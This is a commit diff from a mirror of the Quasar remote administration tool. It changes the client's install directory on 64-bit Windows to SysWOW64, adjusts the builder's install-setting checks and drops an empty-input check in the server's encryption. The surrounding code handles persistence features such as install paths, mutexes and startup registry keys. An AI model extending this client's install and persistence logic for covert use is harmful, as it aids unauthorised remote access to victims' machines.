mirror of https://github.com/quasar/Quasar.git
Fixed Installation to system32 fail on 64-bit OS
This commit is contained in:
parent
fd877a13e5
commit
3c0e930bc9
|
@ -1,6 +1,8 @@
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
|
using System.Text;
|
||||||
using System.Text.RegularExpressions;
|
using System.Text.RegularExpressions;
|
||||||
|
using xClient.Core.Utilities;
|
||||||
|
|
||||||
namespace xClient.Core.Helper
|
namespace xClient.Core.Helper
|
||||||
{
|
{
|
||||||
|
@ -39,5 +41,14 @@ namespace xClient.Core.Helper
|
||||||
input = input.Remove(input.Length - 2);
|
input = input.Remove(input.Length - 2);
|
||||||
return input;
|
return input;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static string GetSystemDirectory()
|
||||||
|
{
|
||||||
|
var path = string.Empty;
|
||||||
|
var buffer = new StringBuilder(260); // MAX_PATH
|
||||||
|
if (NativeMethods.GetSystemWow64Directory(buffer, (uint)buffer.Capacity) != 0)
|
||||||
|
path = buffer.ToString();
|
||||||
|
return path;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
using System;
|
using System;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using xClient.Core.Helper;
|
using System.Text;
|
||||||
|
|
||||||
namespace xClient.Core.Utilities
|
namespace xClient.Core.Utilities
|
||||||
{
|
{
|
||||||
|
@ -40,6 +40,9 @@ namespace xClient.Core.Utilities
|
||||||
[return: MarshalAs(UnmanagedType.Bool)]
|
[return: MarshalAs(UnmanagedType.Bool)]
|
||||||
public static extern bool IsWow64Process(IntPtr hProcess, out bool wow64Process);
|
public static extern bool IsWow64Process(IntPtr hProcess, out bool wow64Process);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
|
||||||
|
public static extern int GetSystemWow64Directory([Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpBuffer, [MarshalAs(UnmanagedType.U4)] uint size);
|
||||||
|
|
||||||
[DllImport("user32.dll")]
|
[DllImport("user32.dll")]
|
||||||
public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
|
public static extern bool GetLastInputInfo(ref LASTINPUTINFO plii);
|
||||||
|
|
||||||
|
|
|
@ -118,7 +118,13 @@ namespace xClient
|
||||||
|
|
||||||
AES.PreHashKey(Settings.PASSWORD);
|
AES.PreHashKey(Settings.PASSWORD);
|
||||||
_hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
|
_hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
|
||||||
|
|
||||||
|
// https://stackoverflow.com/questions/3540930/getting-syswow64-directory-using-32-bit-application
|
||||||
|
if (PlatformHelper.Architecture == 64 && Settings.DIR.Contains("Windows\\system32"))
|
||||||
|
Settings.DIR = FormatHelper.GetSystemDirectory();
|
||||||
|
|
||||||
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
|
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
|
||||||
|
|
||||||
GeoLocationHelper.Initialize();
|
GeoLocationHelper.Initialize();
|
||||||
|
|
||||||
if (!MutexHelper.CreateMutex(Settings.MUTEX))
|
if (!MutexHelper.CreateMutex(Settings.MUTEX))
|
||||||
|
|
|
@ -62,7 +62,6 @@ namespace xServer.Core.Encryption
|
||||||
public static byte[] Encrypt(byte[] input, byte[] key)
|
public static byte[] Encrypt(byte[] input, byte[] key)
|
||||||
{
|
{
|
||||||
if (key == null || key.Length == 0) throw new Exception("Key can not be empty.");
|
if (key == null || key.Length == 0) throw new Exception("Key can not be empty.");
|
||||||
if (input == null || input.Length == 0) throw new ArgumentException("Input can not be empty.");
|
|
||||||
|
|
||||||
using (var md5 = new MD5CryptoServiceProvider())
|
using (var md5 = new MD5CryptoServiceProvider())
|
||||||
{
|
{
|
||||||
|
|
|
@ -214,8 +214,7 @@ namespace xServer.Forms
|
||||||
{
|
{
|
||||||
if (!string.IsNullOrEmpty(txtTag.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // General Settings
|
if (!string.IsNullOrEmpty(txtTag.Text) && !string.IsNullOrEmpty(txtMutex.Text) && // General Settings
|
||||||
lstHosts.Items.Count > 0 && !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtDelay.Text) && // Connection
|
lstHosts.Items.Count > 0 && !string.IsNullOrEmpty(txtPassword.Text) && !string.IsNullOrEmpty(txtDelay.Text) && // Connection
|
||||||
!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text) && // Installation
|
!chkInstall.Checked || (chkInstall.Checked && !string.IsNullOrEmpty(txtInstallname.Text)) && // Installation
|
||||||
!string.IsNullOrEmpty(txtInstallsub.Text)) && // Installation
|
|
||||||
!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text))) // Installation
|
!chkStartup.Checked || (chkStartup.Checked && !string.IsNullOrEmpty(txtRegistryKeyName.Text))) // Installation
|
||||||
{
|
{
|
||||||
string output = string.Empty;
|
string output = string.Empty;
|
||||||
|
|
Loading…
Reference in New Issue